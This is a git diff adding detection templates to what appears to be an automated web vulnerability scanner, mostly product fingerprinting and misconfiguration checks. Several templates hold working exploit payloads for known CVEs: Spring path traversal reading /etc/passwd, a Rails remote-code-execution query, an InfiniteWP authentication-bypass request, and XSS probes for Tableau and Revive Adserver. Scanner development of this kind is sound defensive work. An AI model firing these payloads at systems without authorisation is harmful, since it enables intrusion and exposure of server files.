diff --git a/templates/active/Apache_Solr_Scanner.sh b/templates/active/Apache_Solr_Scanner.sh index 4fe906e..b8250c8 100644 --- a/templates/active/Apache_Solr_Scanner.sh +++ b/templates/active/Apache_Solr_Scanner.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Apache Solr Detected' URI='/' METHOD='GET' -MATCH='Solr Admin' +MATCH="Solr\ Admin" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s -L --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Apache_Tomcat_Scanner.sh b/templates/active/Apache_Tomcat_Scanner.sh new file mode 100644 index 0000000..8aaf4e2 --- /dev/null +++ b/templates/active/Apache_Tomcat_Scanner.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Apache Tomcat Detected' +URI='/404_DOES_NOT_EXIST' +METHOD='GET' +MATCH="Apache\ Tomcat" +SEVERITY='P5 - INFO' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2019-19719_Tableau_Server_DOM_XSS.py b/templates/active/CVE-2019-19719_Tableau_Server_DOM_XSS.py new file mode 100644 index 0000000..66ad21b --- /dev/null +++ b/templates/active/CVE-2019-19719_Tableau_Server_DOM_XSS.py @@ -0,0 +1,14 @@ +# Import any WebDriver class that you would usually import from +# selenium.webdriver from the seleniumrequests module +import sys +from seleniumrequests import Firefox + +url = sys.argv[1] +# Simple usage with built-in WebDrivers: +webdriver = Firefox() +response = webdriver.request('GET', '%s/en/embeddedAuthRedirect.html?auth=javascript:document.write(1+1336)' % url) +if '1337' in response.text: + print("Vulnerable!") +print(response.text) +webdriver.quit() +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_1.sh b/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_1.sh new file mode 100644 index 0000000..dfed29e --- /dev/null +++ b/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_1.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 1' +URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd" +METHOD='GET' +MATCH="root\:|nameserver|\[extensions\]" +SEVERITY='P1 - CRITICAL' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_2.sh b/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_2.sh new file mode 100644 index 0000000..03377c6 --- /dev/null +++ b/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_2.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 2' +URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/resolv.conf" +METHOD='GET' +MATCH="root\:|nameserver|\[extensions\]" +SEVERITY='P1 - CRITICAL' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_3.sh b/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_3.sh new file mode 100644 index 0000000..071b106 --- /dev/null +++ b/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_3.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 2' +URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../Windows/win.ini" +METHOD='GET' +MATCH="root\:|nameserver|\[extensions\]" +SEVERITY='P1 - CRITICAL' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.py b/templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.py new file mode 100644 index 0000000..720a8f4 --- /dev/null +++ b/templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.py @@ -0,0 +1,12 @@ +# Import any WebDriver class that you would usually import from +# selenium.webdriver from the seleniumrequests module +import sys +from seleniumrequests import Firefox + +url = sys.argv[1] +# Simple usage with built-in WebDrivers: +webdriver = Firefox() +response = webdriver.request('GET', '%s/www/delivery/afr.php?refresh=10000&")\',10000000);document.write(1+1336);setTimeout(\'alert("' % url) +if '1337' in response.text: + print("Vulnerable!") +webdriver.quit() \ No newline at end of file diff --git a/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh b/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh new file mode 100644 index 0000000..62d1935 --- /dev/null +++ b/templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-8163 - Rails < 5.0.1 Remote Code Execution' +URI='/?system(%27echo+$((1%2B1336))%27)%3ba%23' +METHOD='GET' +MATCH="1337" +SEVERITY='P1 - CRITICAL' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh b/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh new file mode 100644 index 0000000..5883ed1 --- /dev/null +++ b/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1' +URI='/wp-admin/' +METHOD='POST' +MATCH="content\=\"WordPress\ " +SEVERITY='P2 - HIGH' +CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Citrix_VPN_Scanner.sh b/templates/active/Citrix_VPN_Scanner.sh index 7700e66..5a9b792 100644 --- a/templates/active/Citrix_VPN_Scanner.sh +++ b/templates/active/Citrix_VPN_Scanner.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Citrix VPN Detected' URI='/vpn/index.html' METHOD='GET' -MATCH='Gateway' +MATCH="Netscaler\ Gateway" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s -L --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Clickjacking.sh b/templates/active/Clickjacking.sh new file mode 100644 index 0000000..d73e979 --- /dev/null +++ b/templates/active/Clickjacking.sh @@ -0,0 +1,10 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Clickjacking' +URI='/' +METHOD='GET' +MATCH='X-Frame-Options' +SEVERITY='P4 - LOW' +CURL_OPTS="--user-agent '' -s -I" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' +SEARCH="negative" \ No newline at end of file diff --git a/templates/active/Contact_Form_7_Wordpress_Plugin_Found_1.sh b/templates/active/Contact_Form_7_Wordpress_Plugin_Found_1.sh index bf39f71..68dd506 100644 --- a/templates/active/Contact_Form_7_Wordpress_Plugin_Found_1.sh +++ b/templates/active/Contact_Form_7_Wordpress_Plugin_Found_1.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Contact Form 7 Wordpress Plugin Found 1' URI="/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt" METHOD='GET' -MATCH='Contact Form 7' +MATCH="Contact\ Form\ 7" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Contact_Form_7_Wordpress_Plugin_Found_2.sh b/templates/active/Contact_Form_7_Wordpress_Plugin_Found_2.sh index 02e8586..f3268e3 100644 --- a/templates/active/Contact_Form_7_Wordpress_Plugin_Found_2.sh +++ b/templates/active/Contact_Form_7_Wordpress_Plugin_Found_2.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Contact Form 7 Wordpress Plugin Found 2' URI="/wordpress/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt" METHOD='GET' -MATCH='Contact Form 7' +MATCH="Contact\ Form\ 7" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Directory_Listing_Enabled.sh b/templates/active/Directory_Listing_Enabled.sh new file mode 100644 index 0000000..fd9614a --- /dev/null +++ b/templates/active/Directory_Listing_Enabled.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Directory Listing Enabled' +URI='/' +METHOD='GET' +MATCH='To Parent Directory' +SEVERITY='P4 - LOW' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Drupal_Install_Found.sh b/templates/active/Drupal_Install_Found.sh new file mode 100644 index 0000000..1c1bed0 --- /dev/null +++ b/templates/active/Drupal_Install_Found.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Drupal Install Found' +URI='/install.php?profile=default' +METHOD='GET' +MATCH='Choose language | Drupal' +SEVERITY='P3 - MEDIUM' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/JK_Status_Manager.sh b/templates/active/JK_Status_Manager.sh new file mode 100644 index 0000000..4b99248 --- /dev/null +++ b/templates/active/JK_Status_Manager.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='JK Status Manager' +URI='/jkstatus/' +METHOD='GET' +MATCH="JK\ Status\ Manager" +SEVERITY='P5 - INFO' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Jenkins_Scanner.sh b/templates/active/Jenkins_Scanner.sh new file mode 100644 index 0000000..4379544 --- /dev/null +++ b/templates/active/Jenkins_Scanner.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Jenkins Detected' +URI='/login?from=%2F' +METHOD='GET' +MATCH="\[Jenkins\]" +SEVERITY='P5 - INFO' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Jetty_Version_Disclosure.sh b/templates/active/Jetty_Version_Disclosure.sh new file mode 100644 index 0000000..cef62d9 --- /dev/null +++ b/templates/active/Jetty_Version_Disclosure.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Jetty Version Disclosure Detected' +URI='/' +METHOD='GET' +MATCH='Powered by Jetty' +SEVERITY='P4 - LOW' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Jolokia_Version_Disclosure.sh b/templates/active/Jolokia_Version_Disclosure.sh new file mode 100644 index 0000000..ca30ff6 --- /dev/null +++ b/templates/active/Jolokia_Version_Disclosure.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Jolokia Version Disclosure' +URI='/jolokia/version' +METHOD='GET' +MATCH="\"agent\"\:" +SEVERITY='P4 - LOW' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Laraval_Environment_File_Found.sh b/templates/active/Laraval_Environment_File_Found.sh new file mode 100644 index 0000000..6af7664 --- /dev/null +++ b/templates/active/Laraval_Environment_File_Found.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Laraval Environment File Found' +URI='/.env' +METHOD='GET' +MATCH="APP_NAME" +SEVERITY='P3 - MEDIUM' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/TeamQuest_Login_Found.sh b/templates/active/TeamQuest_Login_Found.sh new file mode 100644 index 0000000..d2a5767 --- /dev/null +++ b/templates/active/TeamQuest_Login_Found.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='TeamQuest Login Found' +URI='/teamquest/cgi-bin/login' +METHOD='GET' +MATCH='TeamQuest - Login' +SEVERITY='P5 - INFO' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/Weblogic_Application_Server_Detected.sh b/templates/active/Weblogic_Application_Server_Detected.sh new file mode 100644 index 0000000..30d4f55 --- /dev/null +++ b/templates/active/Weblogic_Application_Server_Detected.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Weblogic Application Server Detected' +URI='/' +METHOD='GET' +MATCH="Weblogic\ Application\ Server" +SEVERITY='P5 - INFO' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh b/templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh new file mode 100644 index 0000000..3be71d7 --- /dev/null +++ b/templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CORS Policy - Allow-Origin Wildcard' +FILENAME="$LOOT_DIR/web/headers-htt*-$TARGET.txt" +MATCH='Access-Control-Allow-Origin: *' +SEVERITY='P4 - LOW' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Clear-text_Communications_HTTP.sh b/templates/passive/Clear-text_Communications_HTTP.sh new file mode 100644 index 0000000..3347b21 --- /dev/null +++ b/templates/passive/Clear-text_Communications_HTTP.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Clear-Text Protocol - HTTP' +FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt" +MATCH="200\ OK" +SEVERITY='P2 - HIGH' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Interesting_Domain_Found.sh b/templates/passive/Interesting_Domain_Found.sh new file mode 100644 index 0000000..3c8ae7e --- /dev/null +++ b/templates/passive/Interesting_Domain_Found.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Interesting Domain Found' +FILENAME="$LOOT_DIR/domains/domains-all-sorted_NA.txt" +MATCH='admin|dev|portal|stage|prod|tst|test' +SEVERITY='P5 - INFO' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Interesting_Ports_Found.sh b/templates/passive/Interesting_Ports_Found.sh new file mode 100644 index 0000000..8fcb919 --- /dev/null +++ b/templates/passive/Interesting_Ports_Found.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Interesting Ports Found' +FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt" +MATCH='80|443' +SEVERITY='P5 - INFO' +GREP_OPTIONS='-iv' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Interesting_Title_Found.sh b/templates/passive/Interesting_Title_Found.sh new file mode 100644 index 0000000..88ce800 --- /dev/null +++ b/templates/passive/Interesting_Title_Found.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Interesting Title Found' +FILENAME="$LOOT_DIR/web/title-htt*-$TARGET.txt" +MATCH='admin|dev|portal' +SEVERITY='P5 - INFO' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Lack_of_SPF_DNS_Record.sh b/templates/passive/Lack_of_SPF_DNS_Record.sh index 80df31a..f2f0e67 100644 --- a/templates/passive/Lack_of_SPF_DNS_Record.sh +++ b/templates/passive/Lack_of_SPF_DNS_Record.sh @@ -1,7 +1,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Lack of SPF DNS Record' -FILENAME="$LOOT_DIR/nmap/email-$TARGET-*.txt" -MATCH='\[\+\] Spoofing possible' +FILENAME="$LOOT_DIR/nmap/email-$TARGET.txt" +MATCH="\[\+\]\ Spoofing\ possible" SEVERITY='P4 - LOW' GREP_OPTIONS='-i' SEARCH='positive' diff --git a/templates/passive/Possible_Takeover_Detected.sh b/templates/passive/Possible_Takeover_Detected.sh new file mode 100644 index 0000000..b0eca16 --- /dev/null +++ b/templates/passive/Possible_Takeover_Detected.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Possible Takeover Detected' +FILENAME="$LOOT_DIR/nmap/takeovers-$TARGET.txt" +MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp' +SEVERITY='P5 - INFO' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Subjack_Takeover_Detected.sh b/templates/passive/Subjack_Takeover_Detected.sh new file mode 100644 index 0000000..d718939 --- /dev/null +++ b/templates/passive/Subjack_Takeover_Detected.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Subjack Takeover Detected' +FILENAME="$LOOT_DIR/nmap/subjack-$TARGET.txt" +MATCH='anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost\.io|ghost\.org|ghost\.com|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp' +SEVERITY='P2 - HIGH' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file diff --git a/templates/passive/Subover_Takeover_Detected.sh b/templates/passive/Subover_Takeover_Detected.sh new file mode 100644 index 0000000..5c2de4b --- /dev/null +++ b/templates/passive/Subover_Takeover_Detected.sh @@ -0,0 +1,8 @@ +AUTHOR='@xer0dayz' +VULN_NAME='Subover Takeover Detected' +FILENAME="$LOOT_DIR/nmap/subover-$TARGET.txt" +MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp' +SEVERITY='P2 - HIGH' +GREP_OPTIONS='-i' +SEARCH='positive' +SECONDARY_COMMANDS='' \ No newline at end of file